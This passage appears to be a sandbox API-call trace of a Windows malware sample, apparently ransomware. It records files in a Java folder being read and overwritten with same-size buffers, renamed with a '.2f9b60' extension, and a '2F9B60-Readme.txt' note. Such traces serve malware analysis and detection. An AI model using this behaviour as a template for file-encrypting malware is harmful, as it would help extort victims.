(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0dd0 [0160.580] NtQuerySystemTime (in: CurrentTime=0x3771fb40 | out: CurrentTime=0x3771fb40*=132462177657106000) returned 0x0 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x4a9b7d1a [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x5fa021d7 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x35ff01f1 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x2ac2a91b [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x17e74438 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x582122f4 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x483850ac [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x4d1b61bc [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x2d53deaf [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x1ca34cf1 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x7c8496cd [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x68352772 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0xd90634 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x43e17317 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x20c024eb [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x92f513d [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x9ca7238 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x44afe7f3 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x6a9b9191 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x58d41068 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x3411dcca [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x7fcbd0f [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x6bff139c [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x2cd7aba4 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x501a576f [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x2e01b27b [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x43b5d9c4 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x6ec17ff0 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x4dab8a8f [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x6e8f9b0 [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x69b1c59c [0160.580] RtlRandomEx (in: Seed=0x3771fb30 | out: Seed=0x3771fb30) returned 0x6c0a53a1 [0160.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e00 [0160.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0160.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e30 [0160.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0160.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0dd0) returned 1 [0160.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2270) returned 1 [0160.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1a0 [0160.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0160.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2270) returned 1 [0160.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b900b0 [0160.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202db560 [0160.590] ReadFile (in: hFile=0x62c, lpBuffer=0x41b900b0, nNumberOfBytesToRead=0x3711, lpNumberOfBytesRead=0x3771fb30, lpOverlapped=0x0 | out: lpBuffer=0x41b900b0*, lpNumberOfBytesRead=0x3771fb30*=0x3711, lpOverlapped=0x0) returned 1 [0160.915] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.915] WriteFile (hFile=0x62c, lpBuffer=0x202db560, nNumberOfBytesToWrite=0x3711, lpNumberOfBytesWritten=0x3771fb34, lpOverlapped=0x0) [0181.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dec0 [0181.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0181.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2def0) returned 1 [0181.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202db560) returned 1 [0181.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b900b0) returned 1 [0181.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0181.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1a0) returned 1 [0181.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fc70 [0181.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1a0 [0181.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0181.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0181.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2def0) returned 1 [0181.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9e8f0 [0181.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2def0 [0181.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2df20 [0181.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2df20) returned 1 [0181.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0181.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1a0) returned 1 [0181.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c20680 [0181.504] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0181.504] WriteFile (in: hFile=0x62c, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3771fc50, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x3771fc50*=0x11c, lpOverlapped=0x0) returned 1 [0184.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1f20 [0184.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24020 [0184.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ae50 [0184.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ae50) returned 1 [0184.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9edb0 [0184.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ae50 [0184.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ae20 [0184.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ae20) returned 1 [0184.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24020) returned 1 [0184.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1f20) returned 1 [0184.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0184.731] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="ed") returned 2 [0184.731] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="51") returned 2 [0184.731] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="1c") returned 2 [0184.731] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="18") returned 2 [0184.731] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="5d") returned 2 [0184.731] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="9a") returned 2 [0184.731] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="8e") returned 2 [0184.731] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="77") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="95") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="13") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="e2") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="1c") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="43") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="ee") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="66") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="b2") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="bd") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="dc") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="76") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="4c") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="a3") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="80") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="2f") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="1b") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="06") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="8d") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="76") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="e9") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="e9") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="b2") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="02") returned 2 [0184.732] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="7a") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="db") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="4e") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="5b") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="74") returned 2 [0184.732] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="e1") returned 2 [0184.733] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="e5") returned 2 [0184.733] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="2b") returned 2 [0184.733] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="c7") returned 2 [0184.733] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="b5") returned 2 [0184.733] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="57") returned 2 [0184.733] RtlInitAnsiString (in: DestinationString=0x3771fcc8, SourceString="ed511c185d9a8e779513e21c43ee66b2bddc764ca3802f1b068d76e9e9b2027adb4e5b74e1e52bc7b557" | out: DestinationString="ed511c185d9a8e779513e21c43ee66b2bddc764ca3802f1b068d76e9e9b2027adb4e5b74e1e52bc7b557") [0184.733] RtlAnsiStringToUnicodeString (in: DestinationString=0x3771fc98, SourceString="ed511c185d9a8e779513e21c43ee66b2bddc764ca3802f1b068d76e9e9b2027adb4e5b74e1e52bc7b557", AllocateDestinationString=1 | out: DestinationString="ed511c185d9a8e779513e21c43ee66b2bddc764ca3802f1b068d76e9e9b2027adb4e5b74e1e52bc7b557") returned 0x0 [0184.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37290 [0184.733] RtlFreeAnsiString (AnsiString="e") [0184.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0184.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9edb0) returned 1 [0184.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ae50) returned 1 [0184.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20680) returned 1 [0184.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e8f0) returned 1 [0184.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2def0) returned 1 [0184.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0184.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dec0) returned 1 [0184.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d40) returned 1 [0184.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e00) returned 1 [0184.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e30) returned 1 [0184.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5860 [0184.738] wcscat (in: _Dest=0x1b7a5860, _Source="ed511c185d9a8e779513e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e" [0184.738] wcscat (in: _Dest=0x1b7a5860, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e.2f9b60" [0184.738] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e.2f9b60", NtPathName=0x3771fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\ed511c185d9a8e779513e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c371d0 [0209.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c371d0) returned 1 [0209.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c12760) returned 1 [0209.591] NtQueryInformationFile (in: FileHandle=0x62c, IoStatusBlock=0x3771fcd8, FileInformation=0x3771fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3771fcd8, FileInformation=0x3771fce8) returned 0x0 [0209.591] NtSetInformationFile (FileHandle=0x62c, IoStatusBlock=0x3771fcd8, FileInformation=0x3771fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5860) returned 1 [0216.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37290) returned 1 [0216.694] FlushFileBuffers (hFile=0x62c) returned 1 [0216.733] CloseHandle (hObject=0x62c) returned 1 [0220.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x431a1bf0 [0220.073] wcscpy (in: _Dest=0x431a1bf0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0220.073] wcscat (in: _Dest=0x431a1bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" [0220.073] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\2f9b60-readme.txt")) returned 0x20 [0222.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1bf0) returned 1 [0222.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0330) returned 1 Thread: id = 2628 os_tid = 0x217c [0156.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template")) returned 0x20 [0156.709] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template", dwFileAttributes=0x20) returned 1 [0156.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x628 [0156.710] GetFileSizeEx (in: hFile=0x628, lpFileSize=0x3795fbe0 | out: lpFileSize=0x3795fbe0*=3376) returned 1 [0156.710] SetFilePointerEx (in: hFile=0x628, liDistanceToMove=0xd2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.710] ReadFile (in: hFile=0x628, lpBuffer=0x3795fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3795fba8, lpOverlapped=0x0 | out: lpBuffer=0x3795fb60*, lpNumberOfBytesRead=0x3795fba8*=0x4, lpOverlapped=0x0) returned 1 [0160.662] SetFilePointerEx (in: hFile=0x628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1220 [0160.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a12b0 [0160.663] NtQuerySystemTime (in: CurrentTime=0x3795faa0 | out: CurrentTime=0x3795faa0*=132462177657886000) returned 0x0 [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x195785c3 [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x55ef3efc [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x461ac9d7 [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x7d928bcb [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x12d0ac81 [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x374109f7 [0160.663] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x68d8e17d [0160.678] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x374109f7 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x3e54ab3e [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x6574ad7f [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x6e50a123 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x66b6a89f [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x9d9a9f9 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x48426bc [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x18282672 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x1e76d03d [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x749377a6 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x121dce9c [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x6db98199 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x6db98199 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x41b80a4b [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x1f936a79 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x77b4e1a [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x121dce9c [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x37d8980a [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x7dd233e0 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x30685aef [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x68109ebc [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x5150870 [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x6c64c87c [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x409c86ee [0160.679] RtlRandomEx (in: Seed=0x3795fa90 | out: Seed=0x3795fa90) returned 0x4da19607 [0160.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1520 [0160.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0160.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0160.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0160.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a12b0) returned 1 [0160.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0160.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0160.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422db5f0 [0160.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422df200 [0160.688] ReadFile (in: hFile=0x628, lpBuffer=0x422db5f0, nNumberOfBytesToRead=0xd30, lpNumberOfBytesRead=0x3795fa90, lpOverlapped=0x0 | out: lpBuffer=0x422db5f0*, lpNumberOfBytesRead=0x3795fa90*=0xd30, lpOverlapped=0x0) returned 1 [0160.688] SetFilePointerEx (in: hFile=0x628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.688] WriteFile (in: hFile=0x628, lpBuffer=0x422df200*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x3795fa94, lpOverlapped=0x0 | out: lpBuffer=0x422df200*, lpNumberOfBytesWritten=0x3795fa94*=0xd30, lpOverlapped=0x0) returned 1 [0164.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9590 [0164.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0164.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422df200) returned 1 [0164.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422db5f0) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d7f80 [0164.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0164.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0164.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8040 [0164.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0164.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0164.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x42c14090 [0164.143] SetFilePointerEx (in: hFile=0x628, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.143] WriteFile (in: hFile=0x628, lpBuffer=0x42c14090*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3795fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c14090*, lpNumberOfBytesWritten=0x3795fbb0*=0x114, lpOverlapped=0x0) returned 1 [0164.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.328] RtlAllocateHeap 